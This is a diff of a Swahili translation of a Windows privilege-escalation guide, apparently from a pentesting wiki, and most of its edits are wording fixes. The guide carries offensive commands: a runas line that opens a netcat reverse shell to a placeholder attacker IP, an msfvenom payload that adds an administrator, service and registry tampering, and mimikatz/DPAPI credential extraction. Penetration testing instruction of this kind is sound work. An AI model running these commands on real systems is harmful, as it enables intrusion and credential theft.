@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
 | 
			
		||||
 | 
			
		||||
### Tambua Watumiaji & Vikundi
 | 
			
		||||
 | 
			
		||||
Unapaswa kuangalia kama kuna vikundi ambavyo unavyohusishwa navyo vina ruhusa za kuvutia
 | 
			
		||||
Unapaswa kuangalia kama kuna vikundi ambavyo unahusishwa navyo vina ruhusa za kuvutia
 | 
			
		||||
```bash
 | 
			
		||||
# CMD
 | 
			
		||||
net users %username% #Me
 | 
			
		||||
@ -329,7 +329,7 @@ Ikiwa wewe **ni mwanachama wa kundi lolote la kipekee unaweza kuwa na uwezo wa k
 | 
			
		||||
 | 
			
		||||
### Manipulering ya Token
 | 
			
		||||
 | 
			
		||||
**Jifunze zaidi** kuhusu nini maana ya **token** katika ukurasa huu: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
 | 
			
		||||
**Jifunze zaidi** kuhusu nini **token** ni kwenye ukurasa huu: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
 | 
			
		||||
Angalia ukurasa ufuatao ili **ujifunze kuhusu token za kuvutia** na jinsi ya kuzitumia vibaya:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
 | 
			
		||||
### Ruhusa za Faili na Folda
 | 
			
		||||
 | 
			
		||||
Kwanza kabisa, orodhesha mchakato **angalia nywila ndani ya mstari wa amri wa mchakato**.\
 | 
			
		||||
Angalia kama unaweza **kufuta baadhi ya binary inayokimbia** au kama una ruhusa za kuandika kwenye folda ya binary ili kutumia [**shambulio la DLL Hijacking**](dll-hijacking/):
 | 
			
		||||
Angalia kama unaweza **kufuta baadhi ya binary inayokimbia** au kama una ruhusa za kuandika kwenye folda ya binary ili kutumia uwezekano wa [**DLL Hijacking attacks**](dll-hijacking/index.html):
 | 
			
		||||
```bash
 | 
			
		||||
Tasklist /SVC #List processes running and services
 | 
			
		||||
tasklist /v /fi "username eq system" #Filter "system" processes
 | 
			
		||||
@ -381,7 +381,7 @@ icacls "%%z"
 | 
			
		||||
)
 | 
			
		||||
)
 | 
			
		||||
```
 | 
			
		||||
**Kuangalia ruhusa za folda za binaries za michakato (**[**DLL Hijacking**](dll-hijacking/)**)**
 | 
			
		||||
**Kuangalia ruhusa za folda za binaries za michakato (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 | 
			
		||||
```bash
 | 
			
		||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 | 
			
		||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
 | 
			
		||||
@ -397,7 +397,7 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
 | 
			
		||||
```
 | 
			
		||||
### Insecure GUI apps
 | 
			
		||||
 | 
			
		||||
**Programu zinazotembea kama SYSTEM zinaweza kumruhusu mtumiaji kuzindua CMD, au kuvinjari saraka.**
 | 
			
		||||
**Programu zinazotumia SYSTEM zinaweza kumruhusu mtumiaji kuzindua CMD, au kuvinjari saraka.**
 | 
			
		||||
 | 
			
		||||
Mfano: "Windows Help and Support" (Windows + F1), tafuta "command prompt", bonyeza "Click to open Command Prompt"
 | 
			
		||||
 | 
			
		||||
@ -436,14 +436,14 @@ Ikiwa unapata kosa hili (kwa mfano na SSDPSRV):
 | 
			
		||||
_Kosa la mfumo 1058 limetokea._\
 | 
			
		||||
&#xNAN;_Thuduma haiwezi kuanzishwa, ama kwa sababu imezimwa au kwa sababu haina vifaa vilivyowezeshwa vinavyohusishwa nayo._
 | 
			
		||||
 | 
			
		||||
Unaweza kuifanya iweze kuanzishwa kwa kutumia
 | 
			
		||||
Unaweza kuifanya iweze kutumia
 | 
			
		||||
```bash
 | 
			
		||||
sc config SSDPSRV start= demand
 | 
			
		||||
sc config SSDPSRV obj= ".\LocalSystem" password= ""
 | 
			
		||||
```
 | 
			
		||||
**Chukua katika akaunti kwamba huduma ya upnphost inategemea SSDPSRV ili kufanya kazi (kwa XP SP1)**
 | 
			
		||||
 | 
			
		||||
**Njia nyingine** ya kutatua tatizo hili ni kukimbia:
 | 
			
		||||
**Njia nyingine ya kutatua** tatizo hili ni kukimbia:
 | 
			
		||||
```
 | 
			
		||||
sc.exe config usosvc start= auto
 | 
			
		||||
```
 | 
			
		||||
@ -465,7 +465,7 @@ net stop [service name] && net start [service name]
 | 
			
		||||
Privileges zinaweza kupandishwa kupitia ruhusa mbalimbali:
 | 
			
		||||
 | 
			
		||||
- **SERVICE_CHANGE_CONFIG**: Inaruhusu kubadilisha usanidi wa huduma.
 | 
			
		||||
- **WRITE_DAC**: Inaruhusu kubadilisha ruhusa, na hivyo kuweza kubadilisha usanidi wa huduma.
 | 
			
		||||
- **WRITE_DAC**: Inaruhusu kubadilisha ruhusa, ikisababisha uwezo wa kubadilisha usanidi wa huduma.
 | 
			
		||||
- **WRITE_OWNER**: Inaruhusu kupata umiliki na kubadilisha ruhusa.
 | 
			
		||||
- **GENERIC_WRITE**: Inarithi uwezo wa kubadilisha usanidi wa huduma.
 | 
			
		||||
- **GENERIC_ALL**: Pia inarithi uwezo wa kubadilisha usanidi wa huduma.
 | 
			
		||||
@ -474,8 +474,8 @@ Kwa ajili ya kugundua na kutumia udhaifu huu, _exploit/windows/local/service_per
 | 
			
		||||
 | 
			
		||||
### Huduma binaries ruhusa dhaifu
 | 
			
		||||
 | 
			
		||||
**Angalia kama unaweza kubadilisha binary inayotekelezwa na huduma** au kama una **ruhusa za kuandika kwenye folda** ambapo binary inapatikana ([**DLL Hijacking**](dll-hijacking/))**.**\
 | 
			
		||||
Unaweza kupata kila binary inayotekelezwa na huduma kwa kutumia **wmic** (sio kwenye system32) na kuangalia ruhusa zako kwa kutumia **icacls**:
 | 
			
		||||
**Angalia kama unaweza kubadilisha binary inayotekelezwa na huduma** au kama una **ruhusa za kuandika kwenye folda** ambapo binary inapatikana ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
 | 
			
		||||
Unaweza kupata kila binary inayotekelezwa na huduma kwa kutumia **wmic** (sio katika system32) na kuangalia ruhusa zako kwa kutumia **icacls**:
 | 
			
		||||
```bash
 | 
			
		||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
 | 
			
		||||
 | 
			
		||||
@ -489,8 +489,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
 | 
			
		||||
```
 | 
			
		||||
### Services registry modify permissions
 | 
			
		||||
 | 
			
		||||
Unapaswa kuangalia kama unaweza kubadilisha usajili wa huduma yoyote.\
 | 
			
		||||
Unaweza **kuangalia** **idhini** zako juu ya **usajili** wa huduma kwa kufanya:
 | 
			
		||||
Unapaswa kuangalia kama unaweza kubadilisha ruhusa za huduma yoyote ya rejista.\
 | 
			
		||||
Unaweza **kuangalia** ruhusa zako juu ya **rejista** ya huduma kwa kufanya:
 | 
			
		||||
```bash
 | 
			
		||||
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
 | 
			
		||||
 | 
			
		||||
@ -505,9 +505,9 @@ Ili kubadilisha Njia ya faili ya binary inayotekelezwa:
 | 
			
		||||
```bash
 | 
			
		||||
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
 | 
			
		||||
```
 | 
			
		||||
### Huduma za usajili AppendData/AddSubdirectory ruhusa
 | 
			
		||||
### Huduma za rejista Ruhusa za AppendData/AddSubdirectory
 | 
			
		||||
 | 
			
		||||
Ikiwa una ruhusa hii juu ya usajili, hii inamaanisha **unaweza kuunda usajili ndogo kutoka hapa**. Katika kesi ya huduma za Windows, hii ni **ya kutosha kutekeleza msimbo wowote:**
 | 
			
		||||
Ikiwa una ruhusa hii juu ya rejista hii inamaanisha **unaweza kuunda sub-rejista kutoka hii**. Katika kesi ya huduma za Windows hii ni **ya kutosha kutekeleza msimbo wowote:**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
appenddata-addsubdirectory-permission-over-service-registry.md
 | 
			
		||||
@ -515,7 +515,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
 | 
			
		||||
 | 
			
		||||
### Njia za Huduma zisizo na Nukuu
 | 
			
		||||
 | 
			
		||||
Ikiwa njia ya executable haiko ndani ya nukuu, Windows itajaribu kutekeleza kila kitu kinachomaliza kabla ya nafasi.
 | 
			
		||||
Ikiwa njia ya executable haiko ndani ya nukuu, Windows itajaribu kutekeleza kila kitu kinachomalizika kabla ya nafasi.
 | 
			
		||||
 | 
			
		||||
Kwa mfano, kwa njia _C:\Program Files\Some Folder\Service.exe_ Windows itajaribu kutekeleza:
 | 
			
		||||
```powershell
 | 
			
		||||
@ -547,15 +547,15 @@ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Whe
 | 
			
		||||
```bash
 | 
			
		||||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
 | 
			
		||||
```
 | 
			
		||||
### Hatua za Kuokoa
 | 
			
		||||
### Recovery Actions
 | 
			
		||||
 | 
			
		||||
Windows inaruhusu watumiaji kubaini hatua zitakazochukuliwa ikiwa huduma itashindwa. Kipengele hiki kinaweza kuwekewa mipangilio ili kiashirie faili la binary. Ikiwa faili hili la binary linaweza kubadilishwa, kupandisha hadhi kunaweza kuwa na uwezekano. Maelezo zaidi yanaweza kupatikana katika [nyaraka rasmi](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
 | 
			
		||||
Windows inaruhusu watumiaji kubaini hatua za kuchukuliwa ikiwa huduma itashindwa. Kipengele hiki kinaweza kuwekewa mipangilio kuashiria faili ya binary. Ikiwa faili hii ya binary inaweza kubadilishwa, kupandisha hadhi kunaweza kuwa na uwezekano. Maelezo zaidi yanaweza kupatikana katika [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
 | 
			
		||||
 | 
			
		||||
## Maombi
 | 
			
		||||
## Applications
 | 
			
		||||
 | 
			
		||||
### Maombi Yaliyosakinishwa
 | 
			
		||||
### Installed Applications
 | 
			
		||||
 | 
			
		||||
Angalia **idhini za binaries** (labda unaweza kuandika moja na kupandisha hadhi) na za **folda** ([DLL Hijacking](dll-hijacking/)).
 | 
			
		||||
Angalia **permissions of the binaries** (labda unaweza kubadilisha moja na kupandisha hadhi) na **folders** ([DLL Hijacking](dll-hijacking/index.html)).
 | 
			
		||||
```bash
 | 
			
		||||
dir /a "C:\Program Files"
 | 
			
		||||
dir /a "C:\Program Files (x86)"
 | 
			
		||||
@ -566,7 +566,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
 | 
			
		||||
```
 | 
			
		||||
### Write Permissions
 | 
			
		||||
 | 
			
		||||
Angalia kama unaweza kubadilisha faili fulani ya config ili kusoma faili maalum au ikiwa unaweza kubadilisha binary fulani ambayo itatekelezwa na akaunti ya Administrator (schedtasks).
 | 
			
		||||
Angalia kama unaweza kubadilisha faili fulani ya usanidi ili kusoma faili maalum au ikiwa unaweza kubadilisha faili fulani ambayo itatekelezwa na akaunti ya Msimamizi (schedtasks).
 | 
			
		||||
 | 
			
		||||
Njia moja ya kupata ruhusa dhaifu za folda/faili katika mfumo ni kufanya:
 | 
			
		||||
```bash
 | 
			
		||||
@ -594,7 +594,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
 | 
			
		||||
### Run at startup
 | 
			
		||||
 | 
			
		||||
**Angalia kama unaweza kubadilisha baadhi ya registry au binary ambayo itatekelezwa na mtumiaji tofauti.**\
 | 
			
		||||
**Soma** ukurasa **ufuatao** kujifunza zaidi kuhusu maeneo ya **autoruns ya kuvutia ili kupandisha mamlaka**:
 | 
			
		||||
**Soma** **ukurasa ufuatao** ili kujifunza zaidi kuhusu maeneo ya **autoruns ya kuvutia ili kupandisha mamlaka**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
privilege-escalation-with-autorun-binaries.md
 | 
			
		||||
@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
 | 
			
		||||
 | 
			
		||||
### Drivers
 | 
			
		||||
 | 
			
		||||
Tafuta madereva **ya tatu ya ajabu/hatari** zinazoweza kuwa na udhaifu.
 | 
			
		||||
Tafuta madereva ya **third party ya ajabu/yenye udhaifu**.
 | 
			
		||||
```bash
 | 
			
		||||
driverquery
 | 
			
		||||
driverquery.exe /fo table
 | 
			
		||||
@ -610,7 +610,7 @@ driverquery /SI
 | 
			
		||||
```
 | 
			
		||||
## PATH DLL Hijacking
 | 
			
		||||
 | 
			
		||||
Ikiwa una **idhini za kuandika ndani ya folda iliyopo kwenye PATH** unaweza kuwa na uwezo wa kuingilia DLL inayopakuliwa na mchakato na **kuinua mamlaka**.
 | 
			
		||||
Ikiwa una **idhini za kuandika ndani ya folda iliyopo kwenye PATH** unaweza kuwa na uwezo wa kuhamasisha DLL inayopakuliwa na mchakato na **kuinua mamlaka**.
 | 
			
		||||
 | 
			
		||||
Angalia idhini za folda zote ndani ya PATH:
 | 
			
		||||
```bash
 | 
			
		||||
@ -634,7 +634,7 @@ net share #Check current shares
 | 
			
		||||
```
 | 
			
		||||
### hosts file
 | 
			
		||||
 | 
			
		||||
Angalia kompyuta nyingine zinazojulikana zilizowekwa kwa nguvu kwenye faili ya hosts
 | 
			
		||||
Angalia kompyuta nyingine zinazojulikana zilizowekwa kwa nguvu kwenye faili la hosts
 | 
			
		||||
```
 | 
			
		||||
type C:\Windows\System32\drivers\etc\hosts
 | 
			
		||||
```
 | 
			
		||||
@ -650,12 +650,12 @@ Angalia **huduma zilizozuiliwa** kutoka nje
 | 
			
		||||
```bash
 | 
			
		||||
netstat -ano #Opened ports?
 | 
			
		||||
```
 | 
			
		||||
### Jedwali la Mwelekeo
 | 
			
		||||
### Msingi wa Njia
 | 
			
		||||
```
 | 
			
		||||
route print
 | 
			
		||||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
 | 
			
		||||
```
 | 
			
		||||
### ARP Table
 | 
			
		||||
### Jedwali la ARP
 | 
			
		||||
```
 | 
			
		||||
arp -A
 | 
			
		||||
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
 | 
			
		||||
@ -703,9 +703,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 | 
			
		||||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
 | 
			
		||||
Windows Vault inahifadhi akauti za mtumiaji kwa seva, tovuti na programu nyingine ambazo **Windows** inaweza **kuingia kwa watumiaji kiotomatiki**. Katika hali ya kwanza, hii inaweza kuonekana kama sasa watumiaji wanaweza kuhifadhi akauti zao za Facebook, akauti za Twitter, akauti za Gmail n.k., ili waingie kiotomatiki kupitia vivinjari. Lakini si hivyo.
 | 
			
		||||
 | 
			
		||||
Windows Vault inahifadhi akauti ambazo Windows inaweza kuingia kwa watumiaji kiotomatiki, ambayo ina maana kwamba **programu yoyote ya Windows inayohitaji akauti ili kufikia rasilimali** (seva au tovuti) **inaweza kutumia Credential Manager** & Windows Vault na kutumia akauti zilizotolewa badala ya watumiaji kuingiza jina la mtumiaji na nenosiri kila wakati.
 | 
			
		||||
Windows Vault inahifadhi akauti ambazo Windows inaweza kuingia kwa watumiaji kiotomatiki, ambayo inamaanisha kwamba **programu yoyote ya Windows inayohitaji akauti ili kufikia rasilimali** (seva au tovuti) **inaweza kutumia Credential Manager** & Windows Vault na kutumia akauti zilizotolewa badala ya watumiaji kuingiza jina la mtumiaji na nenosiri kila wakati.
 | 
			
		||||
 | 
			
		||||
Ili programu ziweze kuingiliana na Credential Manager, sidhani kama inawezekana kwao kutumia akauti za rasilimali fulani. Hivyo, ikiwa programu yako inataka kutumia vault, inapaswa kwa namna fulani **kuwasiliana na meneja wa akauti na kuomba akauti za rasilimali hiyo** kutoka kwenye vault ya uhifadhi ya kawaida.
 | 
			
		||||
Ila programu zinaposhirikiana na Credential Manager, sidhani kama inawezekana kwao kutumia akauti za rasilimali fulani. Hivyo, ikiwa programu yako inataka kutumia vault, inapaswa kwa namna fulani **kuwasiliana na meneja wa akauti na kuomba akauti za rasilimali hiyo** kutoka kwenye vault ya uhifadhi wa kawaida.
 | 
			
		||||
 | 
			
		||||
Tumia `cmdkey` kuorodhesha akauti zilizohifadhiwa kwenye mashine.
 | 
			
		||||
```bash
 | 
			
		||||
@ -719,7 +719,7 @@ Kisha unaweza kutumia `runas` na chaguo la `/savecred` ili kutumia akidi zilizoh
 | 
			
		||||
```bash
 | 
			
		||||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
 | 
			
		||||
```
 | 
			
		||||
Kutumia `runas` na seti ya akidi zilizotolewa.
 | 
			
		||||
Kutumia `runas` na seti ya akidi iliyotolewa.
 | 
			
		||||
```bash
 | 
			
		||||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
 | 
			
		||||
```
 | 
			
		||||
@ -727,16 +727,16 @@ Kumbuka kwamba mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/u
 | 
			
		||||
 | 
			
		||||
### DPAPI
 | 
			
		||||
 | 
			
		||||
**Data Protection API (DPAPI)** inatoa njia ya usimbaji wa data kwa kutumia funguo za simetriki, hasa inatumika ndani ya mfumo wa uendeshaji wa Windows kwa usimbaji wa funguo za binafsi zisizo za simetriki. Usimbaji huu unatumia siri ya mtumiaji au mfumo kuchangia kwa kiasi kikubwa katika entropy.
 | 
			
		||||
**Data Protection API (DPAPI)** inatoa njia ya usimbaji wa data wa simetriki, hasa inayotumika ndani ya mfumo wa uendeshaji wa Windows kwa usimbaji wa funguo za kibinafsi zisizo za simetriki. Usimbaji huu unatumia siri ya mtumiaji au mfumo kuchangia kwa kiasi kikubwa katika entropy.
 | 
			
		||||
 | 
			
		||||
**DPAPI inaruhusu usimbaji wa funguo kupitia funguo za simetriki ambazo zinatokana na siri za kuingia za mtumiaji**. Katika hali zinazohusisha usimbaji wa mfumo, inatumia siri za uthibitishaji wa kikoa cha mfumo.
 | 
			
		||||
 | 
			
		||||
Funguo za RSA za mtumiaji zilizohifadhiwa, kwa kutumia DPAPI, zinahifadhiwa katika saraka ya `%APPDATA%\Microsoft\Protect\{SID}`, ambapo `{SID}` inawakilisha [Identifier ya Usalama](https://en.wikipedia.org/wiki/Security_Identifier) wa mtumiaji. **Funguo ya DPAPI, iliyoko pamoja na funguo kuu inayolinda funguo za binafsi za mtumiaji katika faili hiyo hiyo**, kwa kawaida ina bytes 64 za data za nasibu. (Ni muhimu kutambua kwamba ufikiaji wa saraka hii umepunguzika, kuzuia orodha ya yaliyomo kupitia amri ya `dir` katika CMD, ingawa inaweza kuorodheshwa kupitia PowerShell).
 | 
			
		||||
Funguo za RSA za mtumiaji zilizohifadhiwa, kwa kutumia DPAPI, zinahifadhiwa katika saraka ya `%APPDATA%\Microsoft\Protect\{SID}`, ambapo `{SID}` inawakilisha [Identifier ya Usalama](https://en.wikipedia.org/wiki/Security_Identifier) wa mtumiaji. **Funguo ya DPAPI, iliyoko pamoja na funguo kuu inayolinda funguo za kibinafsi za mtumiaji katika faili hiyo hiyo**, kwa kawaida ina bytes 64 za data za nasibu. (Ni muhimu kutambua kwamba ufikiaji wa saraka hii umewekwa vizuizi, kuzuia orodha ya yaliyomo kupitia amri ya `dir` katika CMD, ingawa inaweza kuorodheshwa kupitia PowerShell).
 | 
			
		||||
```powershell
 | 
			
		||||
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 | 
			
		||||
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
 | 
			
		||||
```
 | 
			
		||||
Unaweza kutumia **mimikatz module** `dpapi::masterkey` na hoja sahihi (`/pvk` au `/rpc`) kufungua.
 | 
			
		||||
Unaweza kutumia **mimikatz module** `dpapi::masterkey` na hoja sahihi (`/pvk` au `/rpc`) ili kuifungua.
 | 
			
		||||
 | 
			
		||||
Faili za **akisi zilizolindwa na nenosiri kuu** kwa kawaida zinapatikana katika:
 | 
			
		||||
```powershell
 | 
			
		||||
@ -746,7 +746,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
 | 
			
		||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 | 
			
		||||
```
 | 
			
		||||
Unaweza kutumia **mimikatz module** `dpapi::cred` pamoja na `/masterkey` inayofaa ili kufungua.\
 | 
			
		||||
Unaweza **kuchota DPAPI nyingi** **masterkeys** kutoka **kumbukumbu** kwa kutumia moduli `sekurlsa::dpapi` (ikiwa wewe ni root).
 | 
			
		||||
Unaweza **kuchota DPAPI nyingi** **masterkeys** kutoka **kumbukumbu** kwa kutumia `sekurlsa::dpapi` module (ikiwa wewe ni root).
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
dpapi-extracting-passwords.md
 | 
			
		||||
@ -756,7 +756,7 @@ dpapi-extracting-passwords.md
 | 
			
		||||
 | 
			
		||||
**PowerShell credentials** mara nyingi hutumiwa kwa ajili ya **scripting** na kazi za automatisering kama njia ya kuhifadhi akiba za siri zilizofichwa kwa urahisi. Akiba hizo zinalindwa kwa kutumia **DPAPI**, ambayo kwa kawaida inamaanisha zinaweza kufunguliwa tu na mtumiaji yule yule kwenye kompyuta ile ile walipoundwa.
 | 
			
		||||
 | 
			
		||||
Ili **kufungua** akiba za PS kutoka kwa faili inayozihusisha unaweza kufanya:
 | 
			
		||||
Ili **kufungua** akiba ya PS kutoka kwenye faili inayoiweka unaweza kufanya:
 | 
			
		||||
```powershell
 | 
			
		||||
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
 | 
			
		||||
PS C:\> $credential.GetNetworkCredential().username
 | 
			
		||||
@ -790,17 +790,17 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 | 
			
		||||
```
 | 
			
		||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
 | 
			
		||||
```
 | 
			
		||||
Tumia moduli ya **Mimikatz** `dpapi::rdg` na `/masterkey` inayofaa ili **kufungua faili zozote za .rdg**\
 | 
			
		||||
Unaweza **kuchota masterkeys nyingi za DPAPI** kutoka kwenye kumbukumbu kwa kutumia moduli ya Mimikatz `sekurlsa::dpapi`
 | 
			
		||||
Tumia moduli ya **Mimikatz** `dpapi::rdg` pamoja na `/masterkey` inayofaa ili **kufungua faili zozote za .rdg**\
 | 
			
		||||
Unaweza **kuchota funguo nyingi za DPAPI** kutoka kwenye kumbukumbu kwa kutumia moduli ya Mimikatz `sekurlsa::dpapi`
 | 
			
		||||
 | 
			
		||||
### Sticky Notes
 | 
			
		||||
 | 
			
		||||
Watu mara nyingi hutumia programu ya StickyNotes kwenye vituo vya kazi vya Windows kuhifadhi **nywila** na taarifa nyingine, bila kujua ni faili ya database. Faili hii iko katika `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` na daima inafaa kutafutwa na kuchunguzwa.
 | 
			
		||||
Watu mara nyingi hutumia programu ya StickyNotes kwenye vituo vya Windows kuhifadhi **nywila** na taarifa nyingine, bila kujua ni faili ya database. Faili hii iko katika `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` na daima inafaa kutafutwa na kuchunguzwa.
 | 
			
		||||
 | 
			
		||||
### AppCmd.exe
 | 
			
		||||
 | 
			
		||||
**Kumbuka kwamba ili kurejesha nywila kutoka AppCmd.exe unahitaji kuwa Administrator na uendeshe chini ya kiwango cha Juu cha Uaminifu.**\
 | 
			
		||||
**AppCmd.exe** iko katika saraka ya `%systemroot%\system32\inetsrv\` .\
 | 
			
		||||
**Kumbuka kwamba ili kurejesha nywila kutoka AppCmd.exe unahitaji kuwa Administrator na kuendesha chini ya kiwango cha Juu cha Uaminifu.**\
 | 
			
		||||
**AppCmd.exe** iko katika saraka ya `%systemroot%\system32\inetsrv\`.\
 | 
			
		||||
Ikiwa faili hii ipo basi inawezekana kwamba baadhi ya **akidi** zimewekwa na zinaweza **kurejeshwa**.
 | 
			
		||||
 | 
			
		||||
Huu ni msimbo uliochukuliwa kutoka [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
 | 
			
		||||
@ -906,15 +906,15 @@ SSH private keys zinaweza kuhifadhiwa ndani ya funguo za registry `HKCU\Software
 | 
			
		||||
```bash
 | 
			
		||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
 | 
			
		||||
```
 | 
			
		||||
Ikiwa utapata ingizo lolote ndani ya njia hiyo, huenda likawa funguo za SSH zilizohifadhiwa. Inahifadhiwa kwa njia ya usimbaji lakini inaweza kufichuliwa kwa urahisi kwa kutumia [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
 | 
			
		||||
Ikiwa utapata ingizo lolote ndani ya njia hiyo, huenda likawa funguo ya SSH iliyohifadhiwa. Inahifadhiwa kwa usimbuaji lakini inaweza kufichuliwa kwa urahisi kwa kutumia [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
 | 
			
		||||
Taarifa zaidi kuhusu mbinu hii hapa: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 | 
			
		||||
 | 
			
		||||
Ikiwa huduma ya `ssh-agent` haiko inayoendesha na unataka ianze kiotomatiki wakati wa kuanzisha, endesha:
 | 
			
		||||
Ikiwa huduma ya `ssh-agent` haiko inafanya kazi na unataka ianze kiotomatiki wakati wa kuanzisha, endesha:
 | 
			
		||||
```bash
 | 
			
		||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
 | 
			
		||||
```
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Inaonekana kwamba mbinu hii si halali tena. Nilijaribu kuunda funguo za ssh, kuziongeza na `ssh-add` na kuingia kupitia ssh kwenye mashine. Usajili HKCU\Software\OpenSSH\Agent\Keys haupo na procmon haikugundua matumizi ya `dpapi.dll` wakati wa uthibitishaji wa funguo zisizo za kawaida.
 | 
			
		||||
> Inaonekana kwamba mbinu hii si halali tena. Nilijaribu kuunda funguo za ssh, kuziongeza na `ssh-add` na kuingia kupitia ssh kwenye mashine. Usajili HKCU\Software\OpenSSH\Agent\Keys haupo na procmon haikugundua matumizi ya `dpapi.dll` wakati wa uthibitishaji wa funguo zisizo sawa.
 | 
			
		||||
 | 
			
		||||
### Faili zisizo na mtu
 | 
			
		||||
```
 | 
			
		||||
@ -931,7 +931,7 @@ C:\unattend.txt
 | 
			
		||||
C:\unattend.inf
 | 
			
		||||
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
 | 
			
		||||
```
 | 
			
		||||
Unaweza pia kutafuta faili hizi ukitumia **metasploit**: _post/windows/gather/enum_unattend_
 | 
			
		||||
Unaweza pia kutafuta faili hizi kwa kutumia **metasploit**: _post/windows/gather/enum_unattend_
 | 
			
		||||
```xml
 | 
			
		||||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
 | 
			
		||||
<AutoLogon>
 | 
			
		||||
@ -960,7 +960,7 @@ Unaweza pia kutafuta faili hizi ukitumia **metasploit**: _post/windows/gather/en
 | 
			
		||||
%SYSTEMROOT%\System32\config\SYSTEM
 | 
			
		||||
%SYSTEMROOT%\System32\config\RegBack\system
 | 
			
		||||
```
 | 
			
		||||
### Cloud Credentials
 | 
			
		||||
### Hati za Wingu
 | 
			
		||||
```bash
 | 
			
		||||
#From user home
 | 
			
		||||
.aws\credentials
 | 
			
		||||
@ -976,9 +976,9 @@ Tafuta faili inayoitwa **SiteList.xml**
 | 
			
		||||
 | 
			
		||||
### Cached GPP Pasword
 | 
			
		||||
 | 
			
		||||
Kipengele kilikuwa kinapatikana hapo awali ambacho kiliruhusu usambazaji wa akaunti za usimamizi za ndani za kawaida kwenye kundi la mashine kupitia Mipangilio ya Sera ya Kundi (GPP). Hata hivyo, njia hii ilikuwa na mapungufu makubwa ya usalama. Kwanza, Vitu vya Sera ya Kundi (GPOs), vilivyohifadhiwa kama faili za XML katika SYSVOL, vinaweza kufikiwa na mtumiaji yeyote wa kikoa. Pili, nywila ndani ya hizi GPPs, zilizofichwa kwa AES256 kwa kutumia funguo ya kawaida iliyoorodheshwa hadharani, zinaweza kufichuliwa na mtumiaji yeyote aliyeidhinishwa. Hii ilileta hatari kubwa, kwani inaweza kuruhusu watumiaji kupata haki za juu.
 | 
			
		||||
